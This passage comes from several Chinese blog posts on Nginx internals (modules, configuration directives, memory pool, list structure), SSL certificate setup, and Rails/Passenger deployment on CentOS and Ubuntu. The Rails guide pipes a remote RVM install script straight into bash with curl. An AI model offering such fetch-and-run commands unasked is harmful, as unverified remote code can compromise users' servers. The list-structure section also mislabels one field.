ngx_core_module_t ngx_core_module_ctx：用来初始化ngx_core_conf_t中的成员变量；



6. commands


commands是ngx_command_t数组，表示一组配置文件中的可配项（指令）。


例如，在配置文件nginx.conf中worker_processes  1;对应commands数组中的一项，该项的定义如下,类型为ngx_command_t：


{ ngx_string("worker_processes"),
      NGX_MAIN_CONF|NGX_DIRECT_CONF|NGX_CONF_TAKE1,
      ngx_set_worker_processes,
      0,
      0,
      NULL }



其中ngx_command_t定义如下：


struct ngx_command_s {
    ngx_str_t             name;
    ngx_uint_t            type;
    char               *(*set)(ngx_conf_t *cf, ngx_command_t *cmd, void *conf);
    ngx_uint_t            conf;
    ngx_uint_t            offset;
    void                 *post;
};



所以，commands的含义在于该模块的配置项在配置文件中的指令。


ngx_module_t 总结


到这里，一个完整的模块所需的各个部分逐渐显露出来了：



	
ngx_module_t结构体，用来表示模块的定义，被放入ngx_modules数组中。

	
ngx_<module name>_conf_t结构体，用来表示模块的配置项，这个结构体随模块的不同而不同，通过上下文操作及commands中定义的指令，由配置文件确定其成员值。

	
ngx_<module>_module_t结构体，表示一组用来初始化ngx_<module name>_conf_t结构体的操作。在Nginx初始化时被调用，初始化ngx_<module name>_conf_t结构体。

	
ngx_command_t结构体数组，用来表示该模块可以在配置文件中配置的项目，及其操作指令。在Nginx初始化解析配置文件后，调用ngx_command_t中的函数set初始化ngx_<module name>_conf_t结构体。



总结


在Nginx中，一个模块运行所需的各种配置参数被封装成了ngx_<module name>_conf_t结构体。


这个结构体内成员变量的初始化被分成了两部分：



	模块相关的上下文ngx_<module>_module_t：即定义了一组初始化操作，用来将该结构体内的各成员初始化。

	配置文件相关指令ngx_command_t：即规定了配置文件中可以使用的指令及其对应的操作函数。



而模块本身被封装成了ngx_module_t类型结构体，被用来供Nginx统一管理和使用。


模块和配置的联系非常紧密，因此，这里仅仅先大略的分析一下模块功能的整体框架，下一篇中，将在本篇的基础上分析Nginx的配置功能。
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本篇的上篇 Nginx 源码分析：从模块到配置（上），建议阅读本篇前先阅读上篇。


关于模块


Nginx的架构高度模块化。每个模块各司其职，组合在一起完成特定的功能。


Nginx通过configure决定哪些模块被安装。所有安装的模块在编译阶段静态生成，其指针被统一放入ngx_modules数组中，供全局使用。


每个模块由以下几部分构成：



	
ngx_module_t结构体：代表模块本身，其指针被放入ngx_modules数组中。

	
ngx_<module name>_conf_t结构体：用来表示模块的配置内容，其中部分成员可以通过配置文件进行配置。

	
ngx_<module name>_module_t结构体:模块上下文，保存了一组操作，Nginx初始化阶段调用这些操作，初始化ngx_<module name>_conf_t中的成员。

	
ngx_command_t结构体数组：该数组中每一项ngx_command_t对应配置文件中一条指令。



Nginx的模块虽然有很多。但是基本类型只有5种：CORF、CONF、EVNT、HTTP、MAIL


#define NGX_CORE_MODULE      0x45524F43  /* "CORE" */
#define NGX_CONF_MODULE      0x464E4F43  /* "CONF" */
#define NGX_EVENT_MODULE     0x544E5645  /* "EVNT" */
#define NGX_HTTP_MODULE      0x50545448  /* "HTTP" */
#define NGX_MAIL_MODULE      0x4C49414D  /* "MAIL" */



每种类型对应一种ngx_<module name>_module_t上下文结构体。Nginx在初始化（主要在ngx_init_cycle函数中）时根据不同的模块类型，调用不同的上下文中的操作，完成其配置内容的初始化。


虽然模块类型只有5种，但是模块数量可以有很多，每个模块都针对自身有特定的配置内容，这些配置内容中，可以被放到配置文件nginx.conf中的，被包装成了一条条ngx_command_t指令。这些指令的内容决定了nginx.conf中可以写入的操作指令。


Nginx初始化时解析nginx.conf配置文件，找到对应的ngx_command_t。调用该ngx_command_t中的函数，该函数最终初始化模块对应的ngx_<module name>_conf_t结构体，完成配置。


这就是模块和配置之间的关系。


配置文件、指令


谈到Nginx的配置，首先想到的肯定是配置文件nginx.conf。


众所周知，nginx.conf配置文件的结构由一条条Nginx配置指令构成（官方文档）。
Nginx配置指令可以分为两种：简单指令和块指令。


例如：



	
worker_processes  1;就是一条简单指令

	
events { ... }就是一条块指令



如果，一个块指令中含有其他指令，那么称这个块指令为上下文（注意区别模块中的上下文概念）。

例如：


 events {
      use epoll;
      worker_connections  1024;
 }



events是块指令，由于events中包含有指令（简单指令或块指令）。因此称events为events上下文。


常见的上下文还有：http上下文、server上下文、location上下文。整个nginx.conf文件称为main上下文


源码中的配置指令


前面提到过：Nginx配置文件中的一条指令对应一个ngx_command_t结构体。因此，分析源码中的配置指令，就是分析ngx_command_t结构体。


ngx_command_t结构体定义：


struct ngx_command_s {
    ngx_str_t             name;
    ngx_uint_t            type;
    char               *(*set)(ngx_conf_t *cf, ngx_command_t *cmd, void *conf);
    ngx_uint_t            conf;
    ngx_uint_t            offset;
    void                 *post;
};



各成员含义如下：


name：本条指令的名字，例如worker_processes  1;对应的ngx_command_s.name就是worker_processes。


set：函数指针，所以set用来表示，当Nginx解析配置文件，碰到指令时，该执行怎样的操作。而该操作本身，自然是用来设置本模块所对应的ngx_<module name>_conf_t结构体。


conf:这个变量只在NGX_HTTP_MODULE类型的模块的ngx_command_t使用。这个变量和今天讨论的话题关系不大。暂不讨论。


offset：这个变量用来标记ngx_<module name>_conf_t中某成员变量的偏移量，纯粹是为使用方便。


type：配置指令属性的集合。例如，worker_processes这条指令对应的type定义为：


NGX_MAIN_CONF|NGX_DIRECT_CONF|NGX_CONF_TAKE1



其中，各个宏定义如下：


#define NGX_MAIN_CONF        0x01000000
#define NGX_DIRECT_CONF      0x00010000
#define NGX_CONF_TAKE1       0x00000002




	
NGX_MAIN_CONF是指，该指令用于main上下文。

	
NGX_DIRECT_CONF是指，该指令是用于main上下文的简单指令。

	
NGX_CONF_TAKE1是指，该指令后跟一个参数，例如worker_processes  1;的1就是指后面跟一个参数，这个参数的数目由NGX_CONF_TAKE1指定。



类似用来定义指令类型的宏还有很多，具体可以参考源码中各个模块中ngx_command_t的设置。


几个典型的配置指令


daemon指令


Nginx默认是以后台的形式运行的，这种运行形式被称为daemon，当然，在调试的时候，为了方便，一般是关掉daemon这种运行形式。


在配置文件中通过daemon指令来打开或关闭。官方文档对daemon指令说明如下：


Syntax:     daemon on | off;
Default:    daemon on;
Context:    main



在源码中（core\nginx.c），daemon指令对应的ngx_command_t结构体如下：


     {ngx_string("daemon"),                              // 指令的名字daemon
      NGX_MAIN_CONF|NGX_DIRECT_CONF|NGX_CONF_FLAG,       // 指令的类型
      ngx_conf_set_flag_slot,                            // 指令对应的操作
      0,
      offsetof(ngx_core_conf_t, daemon),
      NULL }



其中，NGX_MAIN_CONF指，daemon指令的上下文为main上下文。
NGX_DIRECT_CONF指，daemon指令是一条可以直接写在main上下文的简单指令。
NGX_CONF_FLAG指，daemon指令是一个开关指令，接收on | off作为指令参数。


user指令


Nginx可以在配置文件中通过user指令指定运行时所在的用户及用户组。官方文档对user指令的说明如下：


Syntax:     user user [group];
Default:    user nobody nobody;
Context:    main



在源码中（core\nginx.c），user对应的ngx_command_t结构体定义如下：


    { ngx_string("user"),
      NGX_MAIN_CONF|NGX_DIRECT_CONF|NGX_CONF_TAKE12,
      ngx_set_user,
      0,
      0,
      NULL },




其中NGX_MAIN_CONF及NGX_DIRECT_CONF的含义与daemon指令的含义相同。
NGX_CONF_TAKE12是指该指令接收1个或两个参数，即Syntax:   user user [group];


events指令


Nginx中可以指定采用的事件监听机制类型，比如select、poll、epoll等。

这个指定操作在events指令中完成。这里events指令为块指令。


官方文档对events指令的定义如下：


Syntax:     events { ... }
Default:    —
Context:    main



在源码中（event\ngx_event.c），events指令对应的ngx_command_t结构体定义如下：


    { ngx_string("events"),
      NGX_MAIN_CONF|NGX_CONF_BLOCK|NGX_CONF_NOARGS,
      ngx_events_block,
      0,
      0,
      NULL }



其中，NGX_MAIN_CONF的含义与daemon指令相同。
NGX_CONF_BLOCK是指，这是一条块指令。
NGX_CONF_NOARGS是指，该指令不接受参数。


总结


以上三条指令能够很清楚的说明，在Nginx源码中是如何组织和管理配置文件中使用的配置指令的。

对于其他指令，可以直接阅读源码中该指令的定义。源码就是最好的文档。


关于模块和配置的总结


由于Nginx是高度模块化的，因而，对Nginx的配置一定是对模块的配置。


Nginx的每条配置指令对应某模块中的一条ngx_command_t定义。


每条ngx_command_t一定操作了其所在模块的ngx_<module name>_conf_t结构体中某些项。


Nginx初始化时，首先解析配置文件，然后执行对应指令的ngx_command_t中的操作函数，设置ngx_<module name>_conf_t中的某些项，完成配置工作。


然后，Nginx根据这些配置，执行启动流程，进而开始工作。


到此为止。本篇结束。
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  长话短说，省去各种申请过程，讲讲扼要的部分




生成CRS和密钥


方便一点的做法是使用在线的生成器，或者通过openSSL生成：


openssl req -nodes -newkey rsa:2048 -nodes -keyout your_key_name.key -out your_csr_name.csr -subj "/C=GB/ST=London/L=London/O=your_server/OU=IT/CN=your_server"



将CRS提交给证书提供商


每个提供商步骤不太一样，讲讲COMODO的吧。

通过验证之后，会向你的邮箱发送一个压缩包，压缩包里包含四个文件



	AddTrustExternalCARoot.crt

	COMODORSAAddTrustCA.crt

	COMODORSADomainValidationSecureServerCA.crt

	your_server.crt



合并证书


cat your_server.crt COMODORSADomainValidationSecureServerCA.crt COMODORSAAddTrustCA.crt AddTrustExternalCARoot.crt > your_server.pem 



上传证书并配置Nginx


站点服务器上只需要一开始生成的key和之后合并的pem文件，Nginx如下配置：


server {
    ....
    ssl    on; 
    ssl_certificate         /etc/nginx/ssl/your_server.pem;
    ssl_certificate_key     /etc/nginx/ssl/your_key_name.key;
    ...
}



一切顺利的话然后重启一下Nginx就能生效了


sudo nginx -s reload
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passenger


passenger是一个能快速搭建web环境的工具，它能快速的将nginx和passenger部署到你的服务器中，是部署ruby环境就如同php环境那样简单快速，让人愉悦。下面我将使用这个工具将一个几乎空白的web服务器打造成一个高效的ruby服务器


centos7


centos7是最新的centos版本带来了一系列新特性，包括对Docker的支持和性能的提高，centos 6和 centos 7性能对比


安装ruby环境


首先下载rvm(ruby虚拟机)


shellcurl -L get.rvm.io | bash -s stable



安装rvm


shellsource /etc/profile.d/rvm.sh



安装ruby(请选择官网上最新的版本，使用ruby就要一直坚定的使用其最新版本)


shellrvm install 2.2.1



安装完成后只要运行ruby -v有显示版本号就证明已经安装成功了


安装Passenger 和 Nginx


首先使用gem安装passenger


shellgem install passenger



由于nginx不支持动态的模块载入，所以要使用passenger来进行编译安装由passenger修改过的nginx


接下来安装nginx+passenger


shellpassenger-install-nginx-module



运行了这个命令后，按照提示一步步安装


1.Yes: download, compile and install Nginx for me. (recommended)
The easiest way to get started. A stock Nginx 1.0.10 with Passenger
support, but with no other additional third party modules, will be
installed for you to a directory of your choice.

2.No: I want to customize my Nginx installation. (for advanced users)
Choose this if you want to compile Nginx with more third party modules
besides Passenger, or if you need to pass additional options to Nginx's
'configure' script. This installer will 1) ask you for the location of
the Nginx source code, 2) run the 'configure' script according to your
instructions, and 3) run 'make install'.
Whichever you choose, if you already have an existing Nginx configuration file,
then it will be preserved.

Enter your choice (1 or 2) or press Ctrl-C to abort:




当遇到这个选择时，建议选择1，1代表自动完整安装并配置nginx,2是代表根据自己需求定制nginx.


安装完成后系统会提示，nginx安装的目录，在centos7下默认是安装在/opt/nginx下,配置文件是默认在/opt/nginx/conf/nginx.conf


打开nginx.conf我们可以看到，passenger已经在nginx的配置文件上做了一点小配置


passenger_root /usr/local/rvm/gems/ruby-2.2.1/gems/passenger-5.0.10;
passenger_ruby /usr/local/rvm/gems/ruby-2.2.1/wrappers/ruby;



安装rails并初始化一个rails项目


使用gem安装rails


shellgem install rails



初始化一个rails项目


shellrails new sample_app



第一次初始化rails时一般会报出缺少gem的警告，此时只需要将rails的镜像改为淘宝镜像，详见http://ruby.taobao.org,然后执行


shellbundle install



当执行完毕后，一个rails项目的初始化就完成了


配置nginx


打开配置文件


vim /opt/nginx/conf/nginx.conf



这里给出一份最简单能运行的nginx.conf（注意：rails项目的目录是/opt/www）


nginx{
  worker_processes  1;

  events {
      worker_connections  1024;
  }


  http {
      passenger_root /usr/local/rvm/gems/ruby-2.2.1/gems/passenger-5.0.10;
      passenger_ruby /usr/local/rvm/gems/ruby-2.2.1/wrappers/ruby;

      include       mime.types;
      default_type  application/octet-stream;

      sendfile        on;
      keepalive_timeout  65;
      server {
          #监听的端口
          listen       8080;
          server_name  127.0.0.1;
          #web根目录，一定是rails项目下的public
          root /var/www/sample_app/public/;
          #一定要记得将这个选项设置为on
          passenger_enabled on;
      }    
  }




运行


shellsbin/nginx -t



如果没有报错，那说明配置成功了。那么已经万事大吉了吗？并没有！！


配置Centos7防火墙


Centos7后已经废弃了原来的iptables，改而使用firewall，默认情况下centos7系统不允许任何外来访问，就算你把firewall关了也没用，所以必须配置firewall


shellfirewall-cmd --zone=public --add-port=8080/tcp --permanent



这个命令表示，允许外部访问8080端口，重载一下firewall的配置，就外部就能访问服务器的8080端口了


配置Rails的生产环境


配置完Centos7的防火墙后，访问rails程序时就会报出一个403的forbidden错误，仔细查看日志后，发现了问题了的原因


App 6361 stderr: [ 2015-06-16 11:27:24.1412 6376/0x00000001d35760(Worker 1) utils.rb:85 ]: *** Exception RuntimeError in Rack application object (Missing `secret_token` and `secret_key_base` for 'production' environment, set these values in `config/secrets.yml`) (process 6376, thread 0x00000001d35760(Worker 1)):



这个错误表示Rails生产环境下的密钥没有配置。在nginx上跑rails一般只有在生产环境下才会使用，因而passenger默认下就是rails环境设置为生产环境，而rails初始化时默认没有对生产环境进行密钥配置。这时就需要我们自己去配置rails的密钥了


在rails的Gemfile中加入


rubygem 'dotenv-rails'



然后运行


shellbundle install



安装完这个gem后就可以配置我们的生产环境密钥了


首先在sample_app目录下建立一个.env文件


然后运行


shellrake secret 



这个命令会随机生成一个安全密钥，将这个密钥复制下来，然后在.env中添加


rubySECRET_KEY_BASE = 你的密钥



最后修改sample_app目录下的config/secrets.yml


yml
development:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

test:
   secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

production:
  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>




这样一来密钥配置就完成了，重启nginx就能成功访问到rails项目了
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本文中我将描述在 DigitalOcean 上配置 Rails 生产环境的过程，希望对有相同需求的人一定的帮助


0x01. 创建服务器


如果你刚刚购买了 DigitalOcean 的服务，先添加一台机器，小应用的话 $5/Y 的即可，操作系统选择Ubuntu 14.04，基本纯前端操作，这里就不在赘述。


0x02. 添加用户


开始我们会使用 root 账号登录服务器，但是出于安全考虑，一般我们的 web 应用不能使用 root 用户运行，所以我们先需要添加一个专门的部署用户。名字随便起，这里就是 rails-deploy。


adduser rails-deploy



设置密码


passwd rails-deploy



将用户加入 sudo 群组


adduser rails-deploy sudo



退出 ssh 登录，使用新用户登录。


0x03. 安装 Ruby


为了安装和本地开发环境相同的 Ruby 这里选择从源码编译安装，先安装一些必要的库：


sudo apt-get install build-essential libssl-dev libyaml-dev libreadline-dev openssl curl git-core zlib1g-dev bison libxml2-dev libxslt1-dev libcurl4-openssl-dev nodejs 



然后创建目录并下载ruby源码：


mkdir ~/ruby
cd ~/ruby
wget http://cache.ruby-lang.org/pub/ruby/2.1/ruby-2.1.2.tar.gz
tar -xzf ruby-2.1.2.tar.gz
cd ruby-2.1.2



开始编译


./configure
make
sudo make install



查看安装结果


ruby -v
$ ruby 2.1.2p95 (2014-05-08 revision 45877) [x86_64-linux]



最后删除源码


rm -rf ~/ruby



0x04. 安装 Passenger 和 Nginx


Passenger 是一个比较好的 Rails 服务器，我们选择用它来运行 rails 并使用 Nginx 做反向代理。


我们选择使用 apt 来安装 Passenger，先安装 PGP key


bashsudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 561F9B9CAC40B2F7



创建 apt 源文件


sudo vim /etc/apt/sources.list.d/passenger.list



加入下面这行，并保存退出


deb https://oss-binaries.phusionpassenger.com/apt/passenger trusty main



修改此文件所属用户和权限


sudo chown root: /etc/apt/sources.list.d/passenger.list
sudo chmod 600 /etc/apt/sources.list.d/passenger.list



更新 apt 缓存


sudo apt-get update



安装 Nginx


sudo apt-get install nginx-extras passenger



此操作将有可能会覆盖我们新安装的 ruby ，可做如下操作修复：


sudo rm /usr/bin/ruby
sudo ln -s /usr/local/bin/ruby /usr/bin/ruby



0x05. 设置 Web 服务器


打开 nginx 配置文件：


sudo vim /etc/nginx/nginx.conf



在 http 块找到下面两行


# passenger_root /usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini;
# passenger_ruby /usr/bin/ruby;



取消这两行的注释并修改第二行路径，如下


passenger_root /usr/lib/ruby/vendor_ruby/phusion_passenger/locations.ini;
passenger_ruby /usr/local/bin/ruby;



0x06. Clone 代码


安装 Rails


bashsudo gem install --no-rdoc --no-ri rails



clone 项目代码


cd ～
git clone https://github.com/YOURNAME/REPO.git current
cd project/
bundle install



安装数据库(根据你的项目需求)


bashsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 7F0CEB10
echo "deb http://repo.mongodb.org/apt/ubuntu "$(lsb_release -sc)"/mongodb-org/3.0 multiverse" | sudo tee /etc/apt/sources.list.d/mongodb-org-3.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org



0x07. 配置数据库


从安全的角度考虑，应该是为每个web 应用创建一个用户并且给予最小权限的，但是在这个过程中遇到的mongoid 的bug：



	SegmentFault



最终没有成功，希望有经验的朋友可以给予帮助。


所幸，momgo提供直连，在配置里面只限定本地连接基本上还是可以保证数据安全的，所以目前就采用直连的方式。


0x07. 启动服务器


rake assets:precompile # 编译静态文件
# passenger start -e production
# 上面这个命令可选执行，主要是为了测试是否配置成功



0x08. 修改 Nginx 配置


删除原有的默认网站配置：


sudo rm /etc/nginx/sites-enabled/default
sudo vim /etc/nginx/sites-enabled/example.com.conf



加入如下代码：


server {
    listen 80 default;
    server_name example.com;
    root /home/rails-deploy/project;
    passenger_enabled on;
    rails_env production;
}



然后重启nginx


sudo service nginx restart



写在最后：按照道理来讲，这样的配置应该已经好了，开始很奇怪我的80端口访问报错 403，然后查了nginx 的日志发现报了下面的错误：


[error] 2269#0: *1 directory index of "/home/rails-deploy/project/" is forbidden, client: xxx.xxx.xxx.xxx, server: example.cn, request: "GET / HTTP/1.1", host: "example.cn"



在这里拖了整整两天之后，我看到了这里的一段讨论，然后就默默的打算放弃了。决定转战其他的ruby 服务器。


这里的问题貌似是passenger的问题，之前在 StackOverflow上看到这个问题但没解决。


顺便说一下就是我遇到的情况和上面Ruby china 上的那位一样，在项目目录下面放个index.html就可以访问了，也就是说项目目录的权限是没有问题的。


==== update ====


此刻我内心无比激动啊，这个问题终于解决了，原来是网站跟目录配置的问题应该root到项目的public目录下面。


不过又遇到了另一个问题，他说我的 gem 没安装，需要运行bundle install，可能是安装过程中权限问题，用sudo bundle install 就好了 ： http://stackoverflow.com/questions/22663498/rails-phusion-passenger-er...


总之算是跑起来了，谢天谢地啊！
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源代码路径


版本：1.8.0


src\core\Ngx_palloc.h
src\core\Ngx_palloc.c



主要作用分析


提供了一种机制，帮助进行资源管理（内存、文件）。可以类比C++中的RAII机制。


以内存管理为例，通常是手工进行malloc/free，这种做法的优点是灵活、高效，缺点是容易出错，造成内存泄漏以及各种莫名其妙的BUG。


因此，在C/C++中正确的管理内存一直是最棘手的问题。


C++中提供了RAII机制和智能指针来解决这个问题。Nginx采用C语言开发，实现了一套用来管理资源的机制。这就是nginx pool。


数据结构


ngx_pool_data_t


typedef struct {
    u_char               *last;
    u_char               *end;
    ngx_pool_t           *next;
    ngx_uint_t            failed;
} ngx_pool_data_t;



首先看一个示意图：



last指针表示ngx_pool_data_t所管理的内存block中已使用的内存的末尾地址，这也是下次分配的起始地址。


end指针表示ngx_pool_data_t所管理的内存block的尾地址，该指针在分配此block时确定，用来标记last的边界值。


next用来指向下一个ngx_pool_data_t的内存block地址，用于形成block链表。
failed用来标记该block使用时分配失败次数。


ngx_pool_data_t的管理和使用


围绕核心数据结构ngx_pool_data_t, Nginx是如何管理和使用的呢？


本篇主要从以下几个方面说明：

1) 如何初始化ngx_pool_data_t链表；

2) 如何向链表增加ngx_pool_data_t节点。

3) 如何回收/销毁ngx_pool_data_t节点及链表


初始化ngx_pool_data_t链表


基本思路：



	所谓初始化ngx_pool_data_t链表就是申请一段内存block，然后将该block指针void* p转成ngx_pool_data_t*类型的指针，这样，就可以利用ngx_pool_data_t*指针来管理这段block，而这个block就是ngx_pool_data_t链表的节点。

	当然要能够正确管理block还需要初始化ngx_pool_data_t的成员变量last、end、next、failed。这样，通过ngx_pool_data_t指针，可以获取管理ngx_pool_data_t链表节点的能力


	但是现在我们还没有管理整个ngx_pool_data_t链表的能力，那么如何做呢？通过在内存block的起始部分添加last、end、next、failed等信息可以管理一段内存。相应地，通过在ngx_pool_data_t链表第一个节点添加管理链表的信息，就可以管理整个链表。



同时，由于链表第一个节点只是一个特殊的节点所以，负责管理节点的结构体ngx_pool_data_t应该是的负责管理链表结构体节点的子集


在Nginx源码中这个管理链表的结构体就是：ngx_pool_s，其结构体定义为：


struct ngx_pool_s {
    ngx_pool_data_t       d;
    size_t                max;
    ngx_pool_t           *current;
    ngx_chain_t          *chain;
    ngx_pool_large_t     *large;
    ngx_pool_cleanup_t   *cleanup;
    ngx_log_t            *log;
};



其中，d是ngx_pool_data_t用来管理节点本身，而其他变量则用来管理链表。



	
current用来指示链表中当前正在使用的节点;

	
chain用来在节点上挂接filter链表；

	
cleanup用来注册资源回收handler等；

	
large是与节点大内存、小内存有关，这里暂不分析。



通过以上分析，可知，ngx_pool_s是管理整个ngx_pool_data_t链表，同时也能够管理所在的链表节点。


在Nginx源码里，申请的block指针为void*统一转成ngx_pool_s*，这样，在链表第一个节点，通过ngx_pool_s*管理整个链表及节点本身，在其他节点，通过ngx_pool_s*管理节点本身。


根据以上思路，可以很容易明白Nginx源码里关于创建ngx_pool_data_t链表的代码


函数声明: Ngx_palloc.h


ngx_pool_t *ngx_create_pool(size_t size, ngx_log_t *log);



说明：


输入要分配的ngx_pool_t节点block大小size，返回一个ngx_pool_t*的指针。该指针既用来管理链表，也用来管理节点block本身。

因此，后续链表的插入，删除都是通过操作该指针来完成，而使用链表第一个节点的block也是通过该指针来完成。


函数定义: Ngx_palloc.c


ngx_pool_t *
ngx_create_pool(size_t size, ngx_log_t *log)
{
    ngx_pool_t  *p;

    // 申请内存block，为提高效率，进行了对齐
    // 转成ngx_pool_t*指针
    p = ngx_memalign(NGX_POOL_ALIGNMENT, size, log);  
    if (p == NULL) {
        return NULL;
    }

    // 初始化ngx_pool_data_t用来管理节点block本身
    p->d.last = (u_char *) p + sizeof(ngx_pool_t);
    p->d.end = (u_char *) p + size;
    p->d.next = NULL;
    p->d.failed = 0;

    // 为提高效率能使用的block最大值为NGX_MAX_ALLOC_FROM_POOL
    // 输入size最小值为sizeof(ngx_pool_t)，输入小于该值会造成nginx崩溃
    size = size - sizeof(ngx_pool_t);
    p->max = (size < NGX_MAX_ALLOC_FROM_POOL) ? size : NGX_MAX_ALLOC_FROM_POOL;

    // 初始时，链表current指向自身
    p->current = p;
    p->chain = NULL;
    p->large = NULL;
    p->cleanup = NULL;
    p->log = log;

    return p;
}



向链表增加ngx_pool_data_t节点


基本思路：


上一小节中关于如何初始化ngx_pool_data_t链表的思路，可以基本套用到增加ngx_pool_data_t节点中来，只是在结构体ngx_pool_t成员变量初始化上有所区别。


直接上源码：


static void *
ngx_palloc_block(ngx_pool_t *pool, size_t size)
{
    // 输入变量pool用来表示整个链表
    u_char      *m;
    size_t       psize;
    ngx_pool_t  *p, *new;

    // 计算链表第一个节点的block大小
    psize = (size_t) (pool->d.end - (u_char *) pool);
    // 申请与链表第一个节点大小相同的内存block
    m = ngx_memalign(NGX_POOL_ALIGNMENT, psize, pool->log);
    if (m == NULL) {
        return NULL;
    }
    // 转为ngx_pool_t*类型
    new = (ngx_pool_t *) m;
    // 初始化节点管理结构体ngx_pool_data_t
    new->d.end = m + psize;
    new->d.next = NULL;
    new->d.failed = 0;
    // 为了效率，对ngx_pool_data_t的last变量进行对齐操作
    m += sizeof(ngx_pool_data_t);
    m = ngx_align_ptr(m, NGX_ALIGNMENT);
    new->d.last = m + size;
    // 将第一个链表节点用于操作链表的pool指针的current变量指向当前节点
    for (p = pool->current; p->d.next; p = p->d.next) {
        if (p->d.failed++ > 4) {
            pool->current = p->d.next;
        }
    }

    p->d.next = new;

    return m;
}




当然，在使用时，Nginx并不是直接使用ngx_palloc_block来操作链表，而是使用ngx_palloc

原因在于，使用ngx_create_pool和ngx_palloc_block构造链表之后，我们得到的是多个连续的内存块组成的列表，这些内存块大小相同，其大小为调用ngx_create_pool传入的size值或NGX_MAX_ALLOC_FROM_POOL。


而在实际使用时malloc的大小不一定等于这些内存块的大小，所以，需要提供一个接口，能够从ngx_pool_t链表中获取需要大小的内存。


这个函数就是ngx_palloc


基本思路：


如果要获取的内存大小大于ngx_pool_t节点的大小，那么属于创建大内存，调用ngx_palloc_large(pool, size)。这里我们暂不分析大内存的问题。


如果要获取的内存小于ngx_pool_t节点的大小，那么尝试从当前节点分配。


这里分两种情况：



	当前节点剩余空间足够的情况，直接分配；

	当前节点剩余空间不足的情况，创建一个新节点，并将新节点分配



P.S 这里的分配就是返回指针


函数声明：


void *ngx_palloc(ngx_pool_t *pool, size_t size);



函数定义：


void *
ngx_palloc(ngx_pool_t *pool, size_t size)
{
    u_char      *m;
    ngx_pool_t  *p;
    // 获取内存小于链表节点内存的情况
    if (size <= pool->max) {

        p = pool->current;
        // 尝试从当前节点分配内存
        do {
            m = ngx_align_ptr(p->d.last, NGX_ALIGNMENT);

            if ((size_t) (p->d.end - m) >= size) {
                p->d.last = m + size;

                return m;
            }

            p = p->d.next;

        } while (p);
        // 新建一个节点并分配
        return ngx_palloc_block(pool, size);
    }
    // 获取内存小于链表节点内存的情况
    return ngx_palloc_large(pool, size);
}





今天先到这里，后续再补充或另起一篇写。
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源码路径


版本：1.8.0


src\core\Ngx_list.h
src\core\Ngx_list.c



主要作用分析


ngx_list_t是Nginx对通常的list这种数据结构重复的造轮子。


在本篇中，我们先来分析Nginx是如何造这个轮子的，然后对比说明，ngx_list_t和list有什么不同，最后再分析Nginx作者Igor Sysoev重复造轮子的原因。


数据结构


如果你看过我对ngx_pool_t的分析，很容易就会想到，构造一个list需要定义两个结构：



	
用于管理链表节点自身的结构体；


比如，可以这么定义


typedef struct list_s list_t;
typedef struct node_s node_t;
struct node_s {
    void     *elt;  // 节点使用的内存块起始位置；
    size_t    max;  // 节点内存块的大小；
    node_t   *next; // 下一个内存块的地址；
};




	
用于管理整个链表的结构体；


比如，可以这么定义


struct list_s {
    node_t    node;    //链表节点
    list_t    *curr;   //当前使用的链表节点
};






Nginx使用ngx_pool_t来管理内存的使用，所以向链表中增加元素时，就意味着需要使用ngx_pool_t的操作函数ngx_palloc。因此，增加一个元素，就对应一次ngx_palloc调用。


这是相对效率低下的操作方式。Nginx为了提高效率，做了这样的改动：



  初始化链表时，规定链表中元素的内存占用大小为size，一次性向ngx_pool_t内存池申请size * nelts大小的内存空间，作为链表的节点




示意图如下：





这样做的目的在于减少内存的申请次数，从而提高效率


基于以上分析，就很容易理解ngx_list_t结构体的含义。ngx_list_t 是用来管理整个链表的结构体。


typedef struct {
    ngx_list_part_t  *last;
    ngx_list_part_t   part;
    size_t            size;
    ngx_uint_t        nalloc;
    ngx_pool_t       *pool;
} ngx_list_t;



ngx_list_t各成员变量含义如下：



	
last：指向链表中最后一个ngx_list_part_t，用于管理整个链表，含义很明确。

	
part：链表第一个节点，表示一块连续的内存空间。

	
size：链表中每个节点中存放元素大小。

	
size：链表中每个节点可以存放的元素个数。

	
pool：链表使用的内存池。



ngx_list_part_t


typedef struct ngx_list_part_s  ngx_list_part_t;

struct ngx_list_part_s {
    void             *elts;
    ngx_uint_t        nelts;
    ngx_list_part_t  *next;
};




	
elts：链表节点使用的内存块地址。

	
nelts：当前链表节点已经存放的元素个数。

	
next：指向链表的下一个节点。




ngx_list_t的管理和使用


分两点来分析：


1）ngx_list_t的创建；

2）ngx_list_t添加元素；



ngx_list_t的创建


ngx_list_t的创建分成两部分：



	创建ngx_list_t结构体本身

	向ngx_pool_t申请ngx_list_t使用的内存空间




ngx_list_t结构体本身的创建


两种方式：



	在堆上创建，即，向ngx_pool_t申请空间。

	在栈上创建，即，直接创建ngx_pool_t局部变量。



在堆上创建调用函数：


ngx_list_t *
ngx_list_create(ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    ngx_list_t  *list;

    list = ngx_palloc(pool, sizeof(ngx_list_t));
    if (list == NULL) {
        return NULL;
    }

    if (ngx_list_init(list, pool, n, size) != NGX_OK) {
        return NULL;
    }

    return list;
}



与ngx_array_t的分析类似，调用该函数会自动向ngx_pool_t申请内存空间。


向ngx_pool_t申请ngx_list_t使用的内存空间


调用函数：


static ngx_inline ngx_int_t
ngx_list_init(ngx_list_t *list, ngx_pool_t *pool, ngx_uint_t n, size_t size)
{
    list->part.elts = ngx_palloc(pool, n * size);
    if (list->part.elts == NULL) {
        return NGX_ERROR;
    }

    list->part.nelts = 0;
    list->part.next = NULL;
    list->last = &list->part;
    list->size = size;
    list->nalloc = n;
    list->pool = pool;

    return NGX_OK;
}



很容易理解，不多解释了。


向ngx_list_t添加元素


因为ngx_list_t已经预先开辟了内存空间，所以，所谓的添加元素就是从ngx_list_t中分配出元素空间，并返回其指针。


void *
ngx_list_push(ngx_list_t *l)
{
    void             *elt;
    ngx_list_part_t  *last;

    last = l->last;
    // 当预开辟的空间不足的情况下，会向内存池重新申请空间
    if (last->nelts == l->nalloc) {

        /* the last part is full, allocate a new list part */

        last = ngx_palloc(l->pool, sizeof(ngx_list_part_t));
        if (last == NULL) {
            return NULL;
        }

        last->elts = ngx_palloc(l->pool, l->nalloc * l->size);
        if (last->elts == NULL) {
